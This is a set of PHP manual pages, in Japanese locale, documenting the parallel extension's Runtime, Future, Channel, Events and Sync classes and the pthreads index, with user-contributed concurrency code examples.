There are no user contributed notes for this page.


Execution

  • ≪ parallel\Runtime::__construct
  • parallel\Runtime::close ≫
  • PHP Manual
  • parallel\Runtime
  • Execution

parallel\Runtime::run

(0.8.0)

parallel\Runtime::run — Execution

説明

public parallel\Runtime::run ( Closure $task ) : Future|null

Shall schedule task for execution in parallel.

public parallel\Runtime::run ( Closure $task , array $argv ) : Future|null

Shall schedule task for execution in parallel, passing argv at execution time.

パラメータ

task

A Closure with specific characteristics.

argv

An array of arguments with specific characteristics to be passed to task at execution time.

Task Characteristics

Closures scheduled for parallel execution must not:

  • accept or return by reference
  • accept or return internal objects (see notes)
  • execute a limited set of instructions

Instructions prohibited in Closures intended for parallel execution are:

  • yield
  • use by-reference
  • declare class
  • declare named function

注意:

Nested closures may yield or use by-reference, but must not contain class or named function declarations.

注意:

No instructions are prohibited in the files which the task may include.

Arguments Characteristics

Arguments must not:

  • contain references
  • contain resources
  • contain internal objects (see notes)

注意:

In the case of file stream resources, the resource will be cast to the file descriptor and passed as int where possible, this is unsupported on Windows.

Internal Objects Notes

Internal objects generally use a custom structure which cannot be copied by value safely, PHP currently lacks the mechanics to do this (without serialization) and so only objects that do not use a custom structure may be shared.

Some internal objects do not use a custom structure, for example parallel\Events\Event and so may be shared.

Closures are a special kind of internal object and support being copied by value, and so may be shared.

Channels are central to writing parallel code and support concurrent access and execution by necessity, and so may be shared.

警告

A user class that extends an internal class may use a custom structure as defined by the internal class, in which case they cannot be copied by value safely, and so may not be shared.

返り値

警告

The return parallel\Future must not be ignored when the task contains a return or throw statement.

Exceptions

警告

Shall throw parallel\Runtime\Error\Closed if parallel\Runtime was closed.

警告

Shall throw parallel\Runtime\Error\IllegalFunction if task is a closure created from an internal function.

警告

Shall throw parallel\Runtime\Error\IllegalInstruction if task contains illegal instructions.

警告

Shall throw parallel\Runtime\Error\IllegalParameter if task accepts or argv contains illegal variables.

警告

Shall throw parallel\Runtime\Error\IllegalReturn if task returns illegally.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Graceful Join

  • ≪ parallel\Runtime::run
  • parallel\Runtime::kill ≫
  • PHP Manual
  • parallel\Runtime
  • Runtime Graceful Join

parallel\Runtime::close

(0.8.0)

parallel\Runtime::close — Runtime Graceful Join

説明

public parallel\Runtime::close ( ) : void

Shall request that the runtime shutsdown.

注意:

Tasks scheduled for execution will be executed before the shutdown occurs.

Exceptions

警告

Shall throw parallel\Runtime\Error\Closed if Runtime was already closed.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Join

  • ≪ parallel\Runtime::close
  • parallel\Future ≫
  • PHP Manual
  • parallel\Runtime
  • Runtime Join

parallel\Runtime::kill

(0.8.0)

parallel\Runtime::kill — Runtime Join

説明

public parallel\Runtime::kill ( ) : void

Shall attempt to force the runtime to shutdown.

注意:

Tasks scheduled for execution will not be executed, the currently running task shall be interrupted.

警告

Internal function calls in progress cannot be interrupted.

Exceptions

警告

Shall throw parallel\Runtime\Error\Closed if Runtime was closed.

User Contributed Notes

There are no user contributed notes for this page.


The parallel\Future class

(0.8.0)

Futures

A Future represents the return value or uncaught exception from a task, and exposes an API for cancellation.

例1 Example showing Future as return value

<?php
$runtime = new \parallel\Runtime;
$future  = $runtime->run(function(){
    return "World";
});
printf("Hello %s\n", $future->value());
?>

上の例の出力は、 たとえば以下のようになります。

Hello World

The behaviour of a future also allows it to be used as a simple synchronization point even where the task does not return a value explicitly.

例2 Example showing Future as synchronization point

<?php
$runtime = new \parallel\Runtime;
$future  = $runtime->run(function(){
    echo "in child ";
    for ($i = 0; $i < 500; $i++) {
        if ($i % 10 == 0) {
            echo ".";
        }
    }
    echo " leaving child";
});

$future->value();
echo "\nparent continues\n";
?>

上の例の出力は、 たとえば以下のようになります。

in child .................................................. leaving child
parent continues

クラス概要

final parallel\Future {
/* Resolution */
public value ( ) : mixed
/* State */
public cancelled ( ) : bool
public done ( ) : bool
/* Cancellation */
public cancel ( ) : bool
}

目次

  • parallel\Future::cancel — Cancellation
  • parallel\Future::cancelled — State Detection
  • parallel\Future::done — State Detection
  • parallel\Future::value — Resolution

User Contributed Notes

There are no user contributed notes for this page.


Cancellation

  • ≪ parallel\Future
  • parallel\Future::cancelled ≫
  • PHP Manual
  • parallel\Future
  • Cancellation

parallel\Future::cancel

(0.9.0)

parallel\Future::cancel — Cancellation

説明

public parallel\Future::cancel ( ) : bool

Shall try to cancel the task

注意:

If task is running, it will be interrupted.

警告

Internal function calls in progress cannot be interrupted.

Exceptions

警告

Shall throw parallel\Future\Error\Killed if parallel\Runtime executing task was killed.

警告

Shall throw parallel\Future\Error\Cancelled if task was already cancelled.

User Contributed Notes

There are no user contributed notes for this page.


State Detection

  • ≪ parallel\Future::cancel
  • parallel\Future::done ≫
  • PHP Manual
  • parallel\Future
  • State Detection

parallel\Future::cancelled

(0.9.0)

parallel\Future::cancelled — State Detection

説明

public parallel\Future::cancelled ( ) : bool

Shall indicate if the task was cancelled

User Contributed Notes

There are no user contributed notes for this page.


State Detection

  • ≪ parallel\Future::cancelled
  • parallel\Future::value ≫
  • PHP Manual
  • parallel\Future
  • State Detection

parallel\Future::done

(0.8.0)

parallel\Future::done — State Detection

説明

public parallel\Future::done ( ) : bool

Shall indicate if the task is completed

User Contributed Notes

There are no user contributed notes for this page.


Resolution

  • ≪ parallel\Future::done
  • parallel\Channel ≫
  • PHP Manual
  • parallel\Future
  • Resolution

parallel\Future::value

(0.8.0)

parallel\Future::value — Resolution

説明

public parallel\Future::value ( ) : mixed

Shall return (and if necessary wait for) return from task

Exceptions

警告

Shall throw parallel\Future\Error if waiting failed (internal error).

警告

Shall throw parallel\Future\Error\Killed if parallel\Runtime executing task was killed.

警告

Shall throw parallel\Future\Error\Cancelled if task was cancelled.

警告

Shall throw parallel\Future\Error\Foreign if task raised an unrecognized uncaught exception.

警告

Shall rethrow Throwable uncaught in task

User Contributed Notes

There are no user contributed notes for this page.


The parallel\Channel class

(0.9.0)

Unbuffered Channels

An unbuffered channel will block on calls to parallel\Channel::send() until there is a receiver, and block on calls to parallel\Channel::recv() until there is a sender. This means an unbuffered channel is not only a way to share data among tasks but also a simple method of synchronization.

An unbuffered channel is the fastest way to share data among tasks, requiring the least copying.

Buffered Channels

A buffered channel will not block on calls to parallel\Channel::send() until capacity is reached, calls to parallel\Channel::recv() will block until there is data in the buffer.

Closures over Channels

A powerful feature of parallel channels is that they allow the exchange of closures between tasks (and runtimes).

When a closure is sent over a channel the closure is buffered, it doesn't change the buffering of the channel transmitting the closure, but it does effect the static scope inside the closure: The same closure sent to different runtimes, or the same runtime, will not share their static scope.

This means that whenever a closure is executed that was transmitted by a channel, static state will be as it was when the closure was buffered.

Anonymous Channels

The anonymous channel constructor allows the programmer to avoid assigning names to every channel: parallel will generate a unique name for anonymous channels.

クラス概要

final parallel\Channel {
/* Anonymous Constructor */
public __construct ( )
public __construct ( int $capacity )
/* Access */
public make ( string $name ) : Channel
public make ( string $name , int $capacity ) : Channel
public open ( string $name ) : Channel
/* Sharing */
public recv ( ) : mixed
public send ( mixed $value ) : void
/* Closing */
public close ( ) : void
/* Constant for Infinitely Buffered */
const Infinite ;
}

目次

  • parallel\Channel::__construct — Channel Construction
  • parallel\Channel::make — Access
  • parallel\Channel::open — Access
  • parallel\Channel::recv — Sharing
  • parallel\Channel::send — Sharing
  • parallel\Channel::close — Closing

User Contributed Notes

hdvianna 16-Jan-2020 06:00
This is an example of using a channel to produce data for consumers. In this example, the producer Runtime instance will send the time in seconds in which the consumers shall sleep.

<?php

use parallel\{Runtime, Channel};

main($argv);

function main(array $argv)
{
    if (count($argv) !== 3) {
        echo "Type: hello-parallel.php <number-of-tasks> <maximum-time-of-sleep (in seconds)>" . PHP_EOL;
        echo "Example: hello-parallel.php 5 3" . PHP_EOL;
        die;
    } else {
        $numberOfTasks = intval($argv[1]);
        $maximumTimeOfSleep = intval($argv[2]);
        $t1 = microtime(true);
        parallelize($numberOfTasks, $maximumTimeOfSleep);
        $endTime = microtime(true) - $t1;
        echo PHP_EOL."Finished $numberOfTasks task(s) in {$endTime}s".PHP_EOL;
    }
}

function parallelize(int $numberOfTasks, int $maximumTimeOfSleep)
{
    $channel = new Channel();

    $taskIds = array_map(function () use ($maximumTimeOfSleep) {
        return $id = uniqid("task::");
    }, range(0, $numberOfTasks - 1));

    $timesToSleep = array_map(function () use ($maximumTimeOfSleep) {
        return rand(1, $maximumTimeOfSleep);
    }, $taskIds);

    $producer = new Runtime();
    $producerFuture = $producer->run(function (Channel $channel, array $timesToSleep) {
        foreach ($timesToSleep as $timeToSleep) {
            $channel->send($timeToSleep);
        }
    }, [$channel, $timesToSleep]);

    $consumerFutures = array_map(function (string $id) use ($channel) {
        $runtime = new Runtime();
        return $runtime->run(function (string $id, Channel $channel) {
            $timeToSleep = $channel->recv();
            echo "Hello from $id. I will sleep for $timeToSleep second(s).".PHP_EOL;
            sleep($timeToSleep);
            echo "$id slept for $timeToSleep second(s).".PHP_EOL;
            return $timeToSleep;
        }, [$id, $channel]);
    }, $taskIds);

    wait($consumerFutures);
    wait([$producerFuture]);
}

function wait(array $futures)
{
    return array_map(function ($future) {
        return $future->value();
    }, $futures);
}
rustysun 18-Sep-2019 10:28
an example used unbuffered channel.
<?php

use parallel\{Channel,Runtime};

$sum=function(array $a, Channel $ch) {
    $sum=0;
    foreach ($a as $v) {
        $sum+=$v;
    }
    $ch->send($sum);
};
try {
    $a=[7, 2, 8, 1, 4, 0, 9, 10];
    //unbuffered channel
    $runtime=new Runtime;
    $ch2=new Channel;
    $runtime->run($sum, [array_slice($a, 0, $num), $ch2]);
    $runtime->run($sum, [array_slice($a, $num), $ch2]);
    //receive from channel
    $x=$ch2->recv();
    $y=$ch2->recv();
    $ch2->close();
    echo "\nch2:", $x, "\t", $y, "\t", $x + $y, "\n";
} catch(Error $err) {
    echo "\nError:", $err->getMessage();
} catch(Exception $e) {
    echo "\nException:", $e->getMessage();
}

//output
//ch2:18  23      41
rustysun 18-Sep-2019 04:08
<?php
use parallel\Channel;

function sum(array $a, Channel $ch) {
    $sum=0;
    foreach ($a as $v) {
        $sum+=$v;
    }
    $ch->send($sum);
}

try {
    $a=[7, 2, 8, 1, 4, 0, 9, 10];
    $ch1=Channel::make('sum', 2);
    $ch2=new Channel;
    $num=count($a) / 2;
    sum(array_slice($a, 0, $num), $ch1);
    sum(array_slice($a, $num), $ch1);

    //receive from channel
    $x=$ch1->recv();
    $y=$ch1->recv();
    $ch1->close();
    echo "\nch1:", $x, "\t", $y, "\t", $x + $y, "\n";
} catch(Error $err) {
    echo "\nError:", $err->getMessage();
} catch(Exception $e) {
    echo "\nException:", $e->getMessage();
}


Channel Construction

  • ≪ parallel\Channel
  • parallel\Channel::make ≫
  • PHP Manual
  • parallel\Channel
  • Channel Construction

parallel\Channel::__construct

(1.1.0)

parallel\Channel::__construct — Channel Construction

説明

public parallel\Channel::__construct ( )

Shall make an anonymous unbuffered channel

public parallel\Channel::__construct ( int $capacity )

Shall make an anonymous buffered channel with the given capacity

パラメータ

capacity

May be Channel::Infinite or a positive integer

User Contributed Notes

frame86 at live dot com 28-Apr-2020 11:43
Please note $capacity unit is 1 MiB each, not bytes


Access

  • ≪ parallel\Channel::__construct
  • parallel\Channel::open ≫
  • PHP Manual
  • parallel\Channel
  • Access

parallel\Channel::make

(0.9.0)

parallel\Channel::make — Access

説明

public parallel\Channel::make ( string $name ) : Channel

Shall make an unbuffered channel with the given name

public parallel\Channel::make ( string $name , int $capacity ) : Channel

Shall make a buffered channel with the given name and capacity

パラメータ

name

The name of the channel.

capacity

May be Channel::Infinite or a positive integer

Exceptions

警告

Shall throw parallel\Channel\Error\Existence if channel already exists.

User Contributed Notes

There are no user contributed notes for this page.


Access

  • ≪ parallel\Channel::make
  • parallel\Channel::recv ≫
  • PHP Manual
  • parallel\Channel
  • Access

parallel\Channel::open

(0.9.0)

parallel\Channel::open — Access

説明

public parallel\Channel::open ( string $name ) : Channel

Shall open the channel with the given name

Exceptions

警告

Shall throw parallel\Channel\Error\Existence if channel does not exist.

User Contributed Notes

There are no user contributed notes for this page.


Sharing

  • ≪ parallel\Channel::open
  • parallel\Channel::send ≫
  • PHP Manual
  • parallel\Channel
  • Sharing

parallel\Channel::recv

(0.9.0)

parallel\Channel::recv — Sharing

説明

public parallel\Channel::recv ( ) : mixed

Shall recv a value from this channel

Exceptions

警告

Shall throw parallel\Channel\Error\Closed if channel is closed.

User Contributed Notes

There are no user contributed notes for this page.


Sharing

  • ≪ parallel\Channel::recv
  • parallel\Channel::close ≫
  • PHP Manual
  • parallel\Channel
  • Sharing

parallel\Channel::send

(0.9.0)

parallel\Channel::send — Sharing

説明

public parallel\Channel::send ( mixed $value ) : void

Shall send the given value on this channel

Exceptions

警告

Shall throw parallel\Channel\Error\Closed if channel is closed.

警告

Shall throw parallel\Channel\Error\IllegalValue if value is illegal.

User Contributed Notes

There are no user contributed notes for this page.


Closing

  • ≪ parallel\Channel::send
  • parallel\Events ≫
  • PHP Manual
  • parallel\Channel
  • Closing

parallel\Channel::close

(0.9.0)

parallel\Channel::close — Closing

説明

public parallel\Channel::close ( ) : void

Shall close this channel

Exceptions

警告

Shall throw parallel\Channel\Error\Closed if channel is closed.

User Contributed Notes

There are no user contributed notes for this page.


The parallel\Events class

(0.9.0)

The Event Loop

The Event loop monitors the state of sets of futures and or channels (targets) in order to perform read (parallel\Future::value(), parallel\Channel::recv()) and write (parallel\Channel::send()) operations as the targets become available and the operations may be performed without blocking the event loop.

クラス概要

final parallel\Events implements Countable , Traversable {
/* Input */
public setInput ( Input $input ) : void
/* Targets */
public addChannel ( parallel\Channel $channel ) : void
public addFuture ( string $name , parallel\Future $future ) : void
public remove ( string $target ) : void
/* Behaviour */
public setBlocking ( bool $blocking ) : void
public setTimeout ( int $timeout ) : void
/* Polling */
public poll ( ) : Event|null
}

目次

  • parallel\Events::setBlocking — Behaviour
  • parallel\Events::setTimeout — Behaviour
  • parallel\Events::setInput — Input
  • parallel\Events::addChannel — Targets
  • parallel\Events::addFuture — Targets
  • parallel\Events::remove — Targets
  • parallel\Events::poll — Polling

User Contributed Notes

s dot laufer at homegear dot email 22-Dec-2019 03:02
<?php
/**
Example showing the usage of events.

The documentation still is very thin, so I'm not sure, the example is the best solution. But it works.
*/
use parallel\{Channel,Runtime,Events,Events\Event};

$myThread = function(Channel $channel) {
    $events = new Events();
    $events->addChannel($channel);
    //$events->setBlocking(false); //Uncomment to don't block on Events::poll()
    $events->setTimeout(1000000); //Comment when not blocking

    while(true)
    {
        /*
        ...
        Your code.
        ...
        */

        //Read all available events
        try
        {
            $event = NULL;
            do
            {
                $event = $events->poll(); //Returns non-null if there is an event
                if($event && $event->source == 'myChannel')
                {
                    //It seems, the target gets deleted after returning an event,
                    //so add it again.
                    $events->addChannel($channel);
                    if($event->type == Event\Type::Read)
                    {
                        if(is_array($event->value) && count($event->value) > 0)
                        {
                            if($event->value['name'] == 'stop')
                            {
                                echo 'Stopping thread';
                                return; //Stop
                            }
                            else
                            {
                                echo 'Event: '.$event->value['name'].' => '.$event->value['value'].PHP_EOL;
                            }
                        }
                    }
                    else if($event->type == Event\Type::Close) return; //Stop
                }
            }
            while($event);
        }
        catch(Events\Error\Timeout $ex)
        {
            //Timeout
            echo 'Timeout'.PHP_EOL;
        }
    }
};

class MyClass {
    private $runtime;
    private $future;
    private $channel;

    public function start() {
        //Create runtime
        $this->runtime = new Runtime();

        //Create buffered channel.
        //Buffered channels don't block on Channel::send().
        //Note that target names need to be unique within the process.
        $this->channel = Channel::make('myChannel', Channel::Infinite);

        global $myThread;
        $this->future = $this->runtime->run($myThread, [$this->channel]);
    }

    public function stop() {
        $this->channel->send(['name' => 'stop', 'value' => true]);

        $this->future->value(); //Wait for thread to finish
        $this->channel->close();
    }

    public function emit(string $name, $value)
    {
        $this->channel->send(['name' => $name, 'value' => $value]);
    }
}

$a = new MyClass();
$a->start();

for($i = 0; $i < 5; $i++)
{
    $a->emit('test', $i);
    sleep(0.5);
}

sleep(2);

for($i = 5; $i < 10; $i++)
{
    $a->emit('test', $i);
    sleep(0.5);
}

$a->stop();
?>


Behaviour

  • ≪ parallel\Events
  • parallel\Events::setTimeout ≫
  • PHP Manual
  • parallel\Events
  • Behaviour

parallel\Events::setBlocking

(0.9.0)

parallel\Events::setBlocking — Behaviour

説明

By default when events are polled for, blocking will occur (at the PHP level) until the first event can be returned: Setting blocking mode to false will cause poll to return control if the first target polled is not ready.

This differs from setting a timeout of 0 with parallel\Events::setTimeout(), since a timeout of 0, while allowed, will cause an exception to be raised, which may be extremely slow or wasteful if what is really desired is non-blocking behaviour.

A non-blocking loop effects the return value of parallel\Events::poll(), such that it may be null before all events have been processed.

public parallel\Events::setBlocking ( bool $blocking ) : void

Shall set blocking mode

Exceptions

警告

Shall throw parallel\Events\Error if loop has timeout set.

User Contributed Notes

There are no user contributed notes for this page.


Behaviour

  • ≪ parallel\Events::setBlocking
  • parallel\Events::setInput ≫
  • PHP Manual
  • parallel\Events
  • Behaviour

parallel\Events::setTimeout

(0.9.0)

parallel\Events::setTimeout — Behaviour

説明

By default when events are polled for, blocking will occur (at the PHP level) until the first event can be returned: Setting the timeout causes an exception to be thrown when the timeout is reached.

This differs from setting blocking mode to false with parallel\Events::setBlocking(), which will not cause an exception to be thrown.

public parallel\Events::setTimeout ( int $timeout ) : void

Shall set the timeout in microseconds

Exceptions

警告

Shall throw parallel\Events\Error if loop is non-blocking.

User Contributed Notes

There are no user contributed notes for this page.


Input

  • ≪ parallel\Events::setTimeout
  • parallel\Events::addChannel ≫
  • PHP Manual
  • parallel\Events
  • Input

parallel\Events::setInput

(0.9.0)

parallel\Events::setInput — Input

説明

public parallel\Events::setInput ( Input $input ) : void

Shall set input for this event loop

User Contributed Notes

There are no user contributed notes for this page.


Targets

  • ≪ parallel\Events::setInput
  • parallel\Events::addFuture ≫
  • PHP Manual
  • parallel\Events
  • Targets

parallel\Events::addChannel

(0.9.0)

parallel\Events::addChannel — Targets

説明

public parallel\Events::addChannel ( parallel\Channel $channel ) : void

Shall watch for events on the given channel

Exceptions

警告

Shall throw parallel\Events\Error\Existence if channel was already added.

User Contributed Notes

There are no user contributed notes for this page.


Targets

  • ≪ parallel\Events::addChannel
  • parallel\Events::remove ≫
  • PHP Manual
  • parallel\Events
  • Targets

parallel\Events::addFuture

(0.9.0)

parallel\Events::addFuture — Targets

説明

public parallel\Events::addFuture ( string $name , parallel\Future $future ) : void

Shall watch for events on the given future

Exceptions

警告

Shall throw parallel\Events\Error\Existence if target with the given name was already added.

User Contributed Notes

There are no user contributed notes for this page.


Targets

  • ≪ parallel\Events::addFuture
  • parallel\Events::poll ≫
  • PHP Manual
  • parallel\Events
  • Targets

parallel\Events::remove

(0.9.0)

parallel\Events::remove — Targets

説明

public parallel\Events::remove ( string $target ) : void

Shall remove the given target

Exceptions

警告

Shall throw parallel\Events\Error\Existence if target with the given name was not found.

User Contributed Notes

There are no user contributed notes for this page.


Polling

  • ≪ parallel\Events::remove
  • parallel\Events\Input ≫
  • PHP Manual
  • parallel\Events
  • Polling

parallel\Events::poll

(0.9.0)

parallel\Events::poll — Polling

説明

public parallel\Events::poll ( ) : Event|null

Shall poll for the next event

返り値

Should there be no targets remaining, null shall be returned

Should this be a non-blocking loop, and blocking would occur, null shall be returned

Otherwise, the parallel\Events\Event returned describes the event.

Exceptions

警告

Shall throw parallel\Events\Error\Timeout if timeout is used and reached.

User Contributed Notes

There are no user contributed notes for this page.


The parallel\Events\Input class

(0.9.0)

Events Input

An Input object is a container for data that the parallel\Events object will write to parallel\Channel objects as they become available. Multiple event loops may share an Input container - parallel does not verify the contents of the container when it is set as the input for a parallel\Events object.

注意:

When a parallel\Events object performs a write, the target is removed from the input object as if parallel\Events\Input::remove() were called.

クラス概要

final parallel\Events\Input {
public add ( string $target , mixed $value ) : void
public remove ( string $target ) : void
public clear ( ) : void
}

目次

  • parallel\Events\Input::add — Inputs
  • parallel\Events\Input::clear — Inputs
  • parallel\Events\Input::remove — Inputs

User Contributed Notes

There are no user contributed notes for this page.


Inputs

  • ≪ parallel\Events\Input
  • parallel\Events\Input::clear ≫
  • PHP Manual
  • parallel\Events\Input
  • Inputs

parallel\Events\Input::add

(0.9.0)

parallel\Events\Input::add — Inputs

説明

public parallel\Events\Input::add ( string $target , mixed $value ) : void

Shall set input for the given target

Exceptions

警告

Shall throw parallel\Events\Input\Error\Existence if input for target already exists.

警告

Shall throw parallel\Events\Input\Error\IllegalValue if value is illegal (object, null).

User Contributed Notes

There are no user contributed notes for this page.


Inputs

  • ≪ parallel\Events\Input::add
  • parallel\Events\Input::remove ≫
  • PHP Manual
  • parallel\Events\Input
  • Inputs

parallel\Events\Input::clear

(0.9.0)

parallel\Events\Input::clear — Inputs

説明

public parallel\Events\Input::clear ( ) : void

Shall remove input for all targets

User Contributed Notes

There are no user contributed notes for this page.


Inputs

  • ≪ parallel\Events\Input::clear
  • parallel\Events\Event ≫
  • PHP Manual
  • parallel\Events\Input
  • Inputs

parallel\Events\Input::remove

(0.9.0)

parallel\Events\Input::remove — Inputs

説明

public parallel\Events\Input::remove ( string $target ) : void

Shall remove input for the given target

Exceptions

警告

Shall throw parallel\Events\Input\Error\Existence if input for target does not exist.

User Contributed Notes

There are no user contributed notes for this page.


The parallel\Events\Event class

(0.9.0)

Event Objects

When an Event is returned, Event::$object shall be removed from the loop that returned it, should the event be a write event the Input for Event::$source shall also be removed.

クラス概要

final parallel\Events\Event {
/* Shall be one of Event\Type constants */
public int $type ;
/* Shall be the source of the event (target name) */
public string $source ;
/* Shall be either Future or Channel */
public object $object ;
/* Shall be set for Read/Error events */
public $value ;
}

User Contributed Notes

There are no user contributed notes for this page.


The parallel\Events\Event\Type class

(0.9.0)

クラス概要

final parallel\Events\Event\Type {
/* Event::$object was read into Event::$value */
const Read ;
/* Input for Event::$source written to Event::$object */
const Write ;
/* Event::$object (Channel) was closed */
const Close ;
/* Event::$object (Future) was cancelled */
const Cancel ;
/* Runtime executing Event::$object (Future) was killed */
const Kill ;
/* Event::$object (Future) raised error */
const Error ;
}

User Contributed Notes

There are no user contributed notes for this page.


The parallel\Sync class

(1.1.0)

Low Level Synchronization

The parallel\Sync class provides access to low level synchronization primitives, mutex, condition variables, and allows the implementation of semaphores.

Synchronization for most applications is much better implemented using channels, however, in some cases authors of low level code may find it useful to be able to access these lower level mechanisms.

クラス概要

final parallel\Sync {
/* Constructor */
public __construct ( )
public __construct ( scalar $value )
/* Access */
public get ( ) : scalar
public set ( scalar $value )
/* Synchronization */
public wait ( )
public notify ( bool $all = ? )
public __invoke ( callable $critical )
}

目次

  • parallel\Sync::__construct — Construction
  • parallel\Sync::get — Access
  • parallel\Sync::set — Access
  • parallel\Sync::wait — Synchronization
  • parallel\Sync::notify — Synchronization
  • parallel\Sync::__invoke — Synchronization

User Contributed Notes

There are no user contributed notes for this page.


Construction

  • ≪ parallel\Sync
  • parallel\Sync::get ≫
  • PHP Manual
  • parallel\Sync
  • Construction

parallel\Sync::__construct

(1.1.0)

parallel\Sync::__construct — Construction

説明

public parallel\Sync::__construct ( )

Shall construct a new synchronization object with no value

public parallel\Sync::__construct ( scalar $value )

Shall construct a new synchronization object containing the given scalar value

Exceptions

警告

Shall throw parallel\Sync\Error\IllegalValue if value is non-scalar.

User Contributed Notes

There are no user contributed notes for this page.


Access

  • ≪ parallel\Sync::__construct
  • parallel\Sync::set ≫
  • PHP Manual
  • parallel\Sync
  • Access

parallel\Sync::get

(1.1.0)

parallel\Sync::get — Access

説明

public parallel\Sync::get ( ) : scalar

Shall atomically return the syncrhonization objects value

User Contributed Notes

There are no user contributed notes for this page.


Access

  • ≪ parallel\Sync::get
  • parallel\Sync::wait ≫
  • PHP Manual
  • parallel\Sync
  • Access

parallel\Sync::set

(1.1.0)

parallel\Sync::set — Access

説明

public parallel\Sync::set ( scalar $value )

Shall atomically set the value of the synchronization object

Exceptions

警告

Shall throw parallel\Sync\Error\IllegalValue if value is non-scalar.

User Contributed Notes

There are no user contributed notes for this page.


Synchronization

  • ≪ parallel\Sync::set
  • parallel\Sync::notify ≫
  • PHP Manual
  • parallel\Sync
  • Synchronization

parallel\Sync::wait

(1.1.0)

parallel\Sync::wait — Synchronization

説明

public parallel\Sync::wait ( )

Shall wait for notification on this synchronization object

User Contributed Notes

There are no user contributed notes for this page.


Synchronization

  • ≪ parallel\Sync::wait
  • parallel\Sync::__invoke ≫
  • PHP Manual
  • parallel\Sync
  • Synchronization

parallel\Sync::notify

(1.1.0)

parallel\Sync::notify — Synchronization

説明

public parallel\Sync::notify ( bool $all = ? )

Shall notify one (by default) or all threads waiting on the synchronization object

User Contributed Notes

There are no user contributed notes for this page.


Synchronization

  • ≪ parallel\Sync::notify
  • pthreads ≫
  • PHP Manual
  • parallel\Sync
  • Synchronization

parallel\Sync::__invoke

(1.1.0)

parallel\Sync::__invoke — Synchronization

説明

public parallel\Sync::__invoke ( callable $critical )

Shall exclusively enter into the critical code

User Contributed Notes

There are no user contributed notes for this page.


pthreads

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
  • 定義済み定数
  • Threaded — The Threaded class
    • Threaded::chunk — Manipulation
    • Threaded::count — Manipulation
    • Threaded::extend — Runtime Manipulation
    • Threaded::from — Creation
    • Threaded::getTerminationInfo — Error Detection
    • Threaded::isRunning — State Detection
    • Threaded::isTerminated — State Detection
    • Threaded::isWaiting — State Detection
    • Threaded::lock — Synchronization
    • Threaded::merge — Manipulation
    • Threaded::notify — Synchronization
    • Threaded::notifyOne — Synchronization
    • Threaded::pop — Manipulation
    • Threaded::run — Execution
    • Threaded::shift — Manipulation
    • Threaded::synchronized — Synchronization
    • Threaded::unlock — Synchronization
    • Threaded::wait — Synchronization
  • Thread — Thread クラス
    • Thread::detach — Execution
    • Thread::getCreatorId — 識別
    • Thread::getCurrentThread — Identification
    • Thread::getCurrentThreadId — Identification
    • Thread::getThreadId — 識別
    • Thread::globally — Execution
    • Thread::isJoined — 状態を検出する
    • Thread::isStarted — 状態を検出する
    • Thread::join — 同期処理
    • Thread::kill — Execution
    • Thread::start — 実行する
  • Worker — Worker クラス
    • Worker::collect — Collect references to completed tasks
    • Worker::getStacked — Gets the remaining stack size
    • Worker::isShutdown — State Detection
    • Worker::isWorking — 状態を検出する
    • Worker::shutdown — Shutdown the worker
    • Worker::stack — Stacking work
    • Worker::unstack — Unstacking work
  • Collectable — The Collectable interface
    • Collectable::isGarbage — Determine whether an object has been marked as garbage
    • Collectable::setGarbage — Mark an object as garbage
  • Modifiers — Method Modifiers
  • Pool — The Pool class
    • Pool::collect — Collect references to completed tasks
    • Pool::__construct — Creates a new Pool of Workers
    • Pool::resize — Resize the Pool
    • Pool::shutdown — Shutdown all workers
    • Pool::submit — Submits an object for execution
    • Pool::submitTo — Submits a task to a specific worker for execution
  • Mutex — The Mutex class
    • Mutex::create — Create a Mutex
    • Mutex::destroy — Destroy Mutex
    • Mutex::lock — Acquire Mutex
    • Mutex::trylock — Attempt to Acquire Mutex
    • Mutex::unlock — Release Mutex
  • Cond — The Cond class
    • Cond::broadcast — Broadcast a Condition
    • Cond::create — Create a Condition
    • Cond::destroy — Destroy a Condition
    • Cond::signal — Signal a Condition
    • Cond::wait — Wait for Condition
  • Volatile — The Volatile class

User Contributed Notes

meadowsjared at gmail dot com 29-Dec-2020 04:49
In this example, it shows how to use a threaded with a pool to get an array of results, using pThreads v3.2.1 and php 7.3.23

<?php
class TestWork extends Threaded {
//updated version that works with pThreads v3.2.1 and php 7.3.23
    protected $complete;
    //$pData is the data sent to your worker thread to do it's job.
    public function __construct($pData) {
        //transfer all the variables to local variables
        $this->complete = false;
        $this->testData = $pData;
    }
    //This is where all of your work will be done.
    public function run() {
        usleep(2000000); //sleep 2 seconds to simulate a large job
        $this->complete = true;
    }
    public function isDone() {
        return $this->complete;
    }
}
class ExamplePool extends Pool {
    public $data = array(); // used to return data after we're done
    private $numTasks = 0; // counter used to know when we're done
    /**
     * override the submit function from the parent
     * to keep track of our jobs
     */
    public function submit(Threaded $task) {
        $this->numTasks++;
        parent::submit($task);
    }
    /**
     * used to wait until all workers are done
     */
    public function process() {
        // Run this loop as long as we have
        // jobs in the pool
        while (count($this->data) < $this->numTasks) {
            $this->collect(function (TestWork $task) {
                // If a task was marked as done
                // collect its results
                if ($task->isDone()) {
                    $tmpObj = new stdclass();
                    $tmpObj->complete = $task->complete;
                    //this is how you get your completed data back out [accessed by $pool->process()]
                    $this->data[] = $tmpObj;
                }
                return $task->isDone();
            });
        }
        // All jobs are done
        // we can shutdown the pool
        $this->shutdown();
        return $this->data;
    }
}
$pool = new ExamplePool(3);
$testData = 'asdf';
for($i=0;$i<5;$i++) {
    $pool->submit(new TestWork($testData));
}
$retArr = $pool->process(); //get all of the results
echo '<pre>';
print_r($retArr); //return the array of results (and maybe errors)
echo '</pre>';
?>
mckaygerhard at gmail dot com 26-Sep-2018 03:01
mayority of that problems only happned for guindows, .. porr os
anonymous at example dot com 02-Jun-2017 03:19
Here are some notes regarding PHP pThreads v3 that I have gathered:
-namespace: It does not understand namespaces.
-globals: It won't serialize GLOBALS at all! And will not register new ones.
-classes: It registers new classes okay.
-functions: Will not register ANY functions - they must all be in static classes. It does understand PHP native functions.
-consts: previous constants will transfer over. Don't make any new ones thou!
-pThreads only work in CLI - of course!
-If a thread crashes it automatically gets recreated.
-In order to 'force kill' any thread the parent must be killed. Or wait until all other tasks queued are complete and then terminate.
-Anything registered in a pThread does not seem to join the main thread ... which is good!
-pThreads seem to be very powerful on multi-core environments, just need to be careful on system resources... it can and will lock up a system if mis-configured.
-Finally, finding help for PHP pThreads is slim to none... especially v3!

